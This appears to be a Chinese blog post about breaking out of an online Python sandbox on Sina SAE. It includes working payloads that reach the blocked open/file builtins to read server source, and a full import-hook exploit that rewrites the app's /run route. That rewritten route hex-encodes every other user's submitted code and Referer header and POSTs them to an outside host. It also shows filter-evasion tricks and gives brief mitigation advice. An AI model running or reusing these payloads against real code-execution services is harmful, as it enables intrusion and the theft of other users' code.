p猫表哥要我写一些有趣的东西,本人比较菜,见识也比较短浅,也不会ri站,更不会打ctf,只能随便说点我觉得还是比较好玩的东西。
本人在大二上学期的时候自学了Python,然而可能由于身体觉醒得有点晚了吧,所以见到跟Python有关系的东西,例如本文要讲述的能在线执行Python的沙盒,就会感觉像看见小姐姐一样,心跳加速。
第一个见过的Python在线运行的沙盒的时候,还是感觉这个东西很神奇的~~而在某个风和日丽的日子里,随便写几句代码测试的时候,WOC,我竟然把这个沙盒给玩坏了,,,经过反复的几次崩溃,发现了问题的原因,其中有一句写的问题很大:
globals()['__builtins__']['__import__'] = Noneraise Exception
这句报错了。哦,对了,忘记说,这个沙盒的代码我是看过的,虽然这个沙盒屏蔽了open、file、zipfile、reload、os.open 等函数,但是还是有办法读到代码的。
print [entity for entity in ().__class__.__bases__[0].__subclasses__() if entity.__name__ == "file"][0]("index.wsgi").read()print globals()["__builtins__"]["open"]("index.wsgi").read()print globals()["__builtins__"]["file"]("index.wsgi").read()print globals()["__builtins__"]["file"]("index.wsgi").read()print dir()["__builtins__"]["file"]("index.wsgi").read()print dir()["__builtins__"]["open"]("index.wsgi").read()print __import__('__builtin__').open("index.wsgi").read()print __import__('__builtin__').file("index.wsgi").read()
就这样,小小的运行一下,就可以读出来首页的代码了。
读取到的关键代码如下:
import osimport sysimport jsonimport saeimport base64import threadingimport xml.sax.saxutils as saxutilsimport bottlefrom bottle import Bottle, run, route, request, HTTPErrorfrom sae.kvdb import KVClientimport urllib2import editcodeapp = Bottle()os.open = Noneclass PrintHook: def __init__(self): self.out = '' def write(self, text): try: self.out += text except: self.out += repr(text) def output(self): return self.out@app.route('/run', method='POST')def form_submit(): code = request.forms.get('code') def worker(code, event): def dummy(*args, **kwargs): pass try: g = {'__name__': '__main__', 'open': dummy, 'file': dummy, 'zipfile': dummy, 'reload': dummy} exec(code, g) except: import traceback traceback.print_exc() event.set() hook = PrintHook() sys.stdout = sys.stderr = hook event = threading.Event() event.clear() th = threading.Thread(target=worker, args=(code, event)); th.setDaemon(True) th.start() if not event.wait(8): return 'Script timeout' return hook.output()
有关于执行Python代码的位置在这里:
还是屏蔽了一些东西的,因为这个东西在新浪sae上面,在sae上面是没有写权限的。而当我提交的代码,执行到上面这段,之后站点就崩溃了。大胆的猜测一下,import 模块的时候其实是调用的__import__ 方法进行导入模块。
写个小例子:
通过这个例子可以很清楚的看到,我用自己写的cut函数,替换了系统的 __import__函数,在进行import 的时候,代码逻辑真的走到了我的cut函数。cut的函数参数也不是迷,可以在IDE里面写下__import__,按住ctrl,点一下__import__就会跳转过去。
在写上一句话的时候,我一直在想,我为什么不是直接用 __import__代替 globals()['__builtins__'].__dict__['__import__']
试了一下发现不好用。。。
关于不好用的原因,可能是Python内部不是直接用的__import__,我替换这个函数只是替换掉了这个变量里面指向的函数的位置,但是Python内部可能不是通过这个变量调用的。
通过上面的这段代码,就可以跳出沙盒里面的限制,从try里面替换掉导包的逻辑,在except中,导入traceback模块的过程中,自己写一个类返回回去。
完整的看一下这个执行代码的流程,
35:从请求中获取要执行的代码36:45 执行代码并且限制可以使用的变量46:47 hook输出内容48:49 定义一个用来等待函数返回的事件50:52 创建线程,设置随主线程一起退出,执行线程53:54 判断线程超时56 输出hook到的内容
在这个地方有个有意思的东西,PrintHook类是用来hook所有输出的。
这个类非常的简陋,就这么三个方法,还有一个是构造方法。。
新浪的sae是不允许写文件的,如果我们想要控制执行代码的输出,就要控制这个类,当代码跑起来的时候,这个类就被装在内存里了,简单的尝试发现可以替换这个内容
简单地写一小段代码:
cut函数为Hook __import__的函数,在cut函数中5:9是我自己做的PrintHook,10:14 是在import的过程中,Cut掉PrintHook15:20 是为了保证执行我提交的代码走except的时候,导入traceback不会报错出问题,影响下面的导入25:27 就是为了完成正常的导入了28 把自己构造的Cut塞到内置对象里30行引发一个异常,确保自己的代码在cut内置对象__import__之后走except逻辑,调用import过程,突破执行代码的限制(你在直接输入代码的时候是感知不到外部的像PrintHook对象的,这是对于变量的限制)
然后打开一个新窗口,测试一波。
没错,这货在其他会话也生效了,但是经过测试发现sae会一定的时间就重置一次容器???
内置对象直接全部挂掉,推倒重来。
只是cut了返回结果好像也没什么用。
本人的Python是自学的,关于web这一块的Python框架只会用Django,Flask不是很熟,这种app.route的写法也不是很了解,但是随便编一编还是能写一点点的。
在测试的过程中,突然发现,跳出去那个exec的变量限制之后,能拿到这个app对象,随便变了一段函数,试着替换一下这个,算是路由?
这框架真好玩,真的拿到了我输入的内容。
如果我没记错的话,这个应该是用来测试代码的机器?这么说,是不是改一改就能拿到其他用户输入的代码了???
大部分代码都是直接搬了之前的,也有搬这个页面本身的代码,反正我的cut里面的PrintHookclass被我改成这个样子了,这一整段都是,这里面出现的PrintHook是为了覆盖外面的PrintHook,为了能正常的执行。
#!/usr/bin/env pythonfrom functools import partialdef cut(i, g, name, globals={}, locals={}, fromlist=[], level=-1): globals['__builtins__']['__import__'] = i class PrintHook1: def __init__(self): try: print code except: print "[!!!] Get Code Faild" def write(self, text): pass def output(self): try: # return str(globals) app = globals['app'] @app.route('/run', method='POST') def form_submit(): code = globals['request'].forms.get('code') if "testcutflag" in code: return "[!!!] flag repeat" import sys import threading class PrintHook: def __init__(self): self.out = '' def write(self, text): try: self.out += text except: self.out += repr(text) def output(self): return self.out def worker(code, event): def dummy(*args, **kwargs): pass try: g = {'__name__': '__main__', 'open': dummy, 'file': dummy, 'zipfile': dummy, 'reload': dummy} exec(code, g) except: import traceback traceback.print_exc() event.set() import dummy cc = code.encode("hex") + "|" +globals['request'].header.get('Referer','').encode("hex") try: dummy.hackhttp.http("http://testsite.com/code.php",post="code=%s" % cc) except: pass hook = PrintHook() sys.stdout = sys.stderr = hook event = threading.Event() event.clear() th = threading.Thread(target=worker, args=(code, event)); th.setDaemon(True) th.start() if not event.wait(8): return 'Script timeout' return hook.output() globals['form_submit'] = form_submit return "[+++] Cut ok" except Exception,e: return str(e) try: globals['PrintHook'] = PrintHook1 print "[!!!] Test Cut Success" # print str(globals) except Exception,e: print "[!!!] Test Cut Faild" if name =="traceback": try: class cuttraceback: @staticmethod def print_exc(): print "[***] Test Cut traceback.print_exc call" g['traceback'] = cuttraceback return cuttraceback except Exception, e: print str(e) m = i(name, globals, locals, fromlist, level) g[name] = m return mglobals()['__builtins__']['__import__'] = partial(cut,__import__,globals())print "[***] Test Cut"raise Exceptiontestcutflag
这样就可以做好一个阅读其他用户代码的小玩意了,自己有测试过,确实很好用,但是因为这个沙盒本身也不是很有人常用,加上几分钟重置一次沙盒,也基本没大用处(当然可以写脚本,几分钟提交一次,不过这太缺德了,好的代码估计也不会在这上面跑)
最后还写了个简单的文件浏览器:
事情到此就结束了吗?
可能还没有。
网上有很多可以在线运行代码的地方,有些可以执行命令,甚至有些可以反弹shell,但是这都不是我喜欢的。
我喜欢那种可以获得一个Python shell的,就在你当前运行的环境,可以抽丝剥茧一般的知道你的代码是怎么被丢进来,怎么跑起来。
我就发现过一个,我的代码被丢到docker里面运行起来,这个docker启动了一个Python,Python后面跟了一句解b64然后exec的代码,大概是长这个样子的:
python -m "exec __import__('base64').b64decode('xxxx')"
这句代码解开之后是以一种奇怪的方式去其他的服务器加载代码,看了几遍都不是很明白清楚的理解。
在此和各位大佬分享几个Python扒代码好用一点的函数(库)
sys._getframemarshal.dumpsuncompyle(库)
个人感觉用起来比较舒服的姿势是这样的:
这段代码如果描述就是,如果你愿意一层一层的剥开我的心(笑尿)
简单的用一下,
就这样,直接把当前文件的代码扒出来。
_getframe是用来获取堆栈信息的函数,获取到堆栈信息之后就能拿到诸如函数名,函数代码,当前行号,当前文件等等的信息。参数为0的时候是获取当前函数的堆栈信息,为1就是获取调用者的堆栈信息,以此类推。
关于修复
暂时想到可行的办法一个是docker,另一个是通过建立一个临时的字典的方式,把有可能会对本级造成危害的函数先copy出来,然后在代码执行之后和出现异常走except逻辑的时候。
首先做的就是把备份出来的函数先恢复回去,然后再说其他的异常处理。
在备份的同时也可以删掉比如reload这种不老实的函数,随便替换个无动作的函数。
关于用户导入开发者不希望导入的库的方面,还是希望不要用正则这种有辱智商的操作,Python很灵活。比如屏蔽了import os,可以通过os = __import__('os') ,真的有很多基于正则防御危险代码的这类站点,还可以比如globals()['__builtins__']['__imp'+ '' +'ort__'](True.__class__.__name__[1] + 's')
关于想要禁止一些库的导入,可以试试自己写一个cut导入过程的函数,自己替换进去,不希望导的库就直接报错或者能导没功能。
禁止导库可能发生在比如新浪sae,导入sae模块之后可以读取数据库账号密码主机端口等信息。